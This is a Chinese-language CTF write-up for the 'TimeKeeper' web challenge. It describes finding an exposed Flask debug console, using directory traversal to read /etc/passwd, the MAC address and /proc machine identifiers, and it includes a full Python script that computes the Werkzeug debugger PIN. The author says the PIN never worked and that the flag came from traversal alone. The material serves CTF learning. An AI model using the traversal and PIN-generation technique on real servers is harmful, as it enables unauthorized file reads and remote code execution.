前言
继续ctf的旅程
开始攻防世界web高手进阶区的10分题
本文是TimeKeeper的writeup
解题过程
进入界面
惯例源码+御剑
源码没发现
御剑扫到一个Flask debug console
先正常注册登录
尝试在注册和登录界面sqli
失败
没有别的头绪
就尝试研究debug
参考Flask debug pin安全问题
在支付界面抓包
修改id和price
制造bug
进入debug界面
根据Flask debug pin安全问题
获取pin码需要以下这些信息
list = [ 当前用户,#通过读取/etc/passwd获取 'flask.app', #一般情况为固定值 'Flask',#一般情况为固定值 '/usr/local/lib/python2.7/dist-packages/flask/app.py',#flask目录下的一个app.py的绝对路径,通过debug错误页面获取 mac地址的十进制,#通过读取/sys/class/net/eth0/address获取mac地址 如果不是映射端口 可以通过arp ip命令获取 机器名,#通过读取/proc/self/cgroup或/proc/sys/kernel/random/boot_id 或/etc/machine-id获取 ]
那就要想办法读取剩下的三个信息
没有什么可以操作的想法
在源码里看到个asserts目录
尝试了下目录穿越
成功了
打开
用户可以用root或ctf
类似的
读取剩下的两个信息
mac地址
再转换为十进制2583524700623
机器名
/proc/self/cgroup
得到的如下
是19ef9f241e480f2bca3437d27505a657eda03c05014023382e1b00667d4c82ad
/proc/sys/kernel/random/boot_id
得到的如下
是161cbdb0-fbcf-4ddb-bb86-5af547adc20c
这俩为什么不一样?
困惑
先继续下去
于是得到所有信息如下
list = [ 'root', #当前用户,通过读取/etc/passwd获取 'flask.app', #一般情况为固定值 'Flask',#一般情况为固定值 '/usr/local/lib/python2.7/dist-packages/flask/app.py',#flask目录下的一个app.py的绝对路径,通过debug错误页面获取 '2583524700623',#mac地址的十进制,通过读取/sys/class/net/eth0/address获取mac地址 如果不是映射端口 可以通过arp ip命令获取 '19ef9f241e480f2bca3437d27505a657eda03c05014023382e1b00667d4c82ad'#机器名,通过读取/proc/self/cgroup或/proc/sys/kernel/random/boot_id 或/etc/machine-id获取 ]
脚本
import hashlib
from itertools import chain
probably_public_bits = ['root',# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python2.7/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['2583524700623',# str(uuid.getnode()), /sys/class/net/ens33/address'19ef9f241e480f2bca3437d27505a657eda03c05014023382e1b00667d4c82ad'# get_machine_id(), /etc/machine-id
]h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
得到pin码
但是做了好些尝试
还是一直pin码不对
人傻了
。。。
然后突然想到
何不直接目录穿越试试获取flag呢
得到flag
提交
。。。
假的flag
。。。
尝试改下后缀
得到真flag
。。。
无话可说
结语
这题给我搞傻了
搞了半天
结果是最简单的目录穿越就可以得到flag
不过学到了关于flask debug的知识
但本题的pin码一直搞不对
有师傅教教么
- Flask debug pin安全问题
- Flask debug 模式 PIN 码生成机制安全性研究笔记
- 从一道ctf题谈谈flask开启debug模式存在的安全问题
- Flaskapp(SSTI+Flask PIN)
还是有好些问题没搞明白
先记一笔
回头再来看看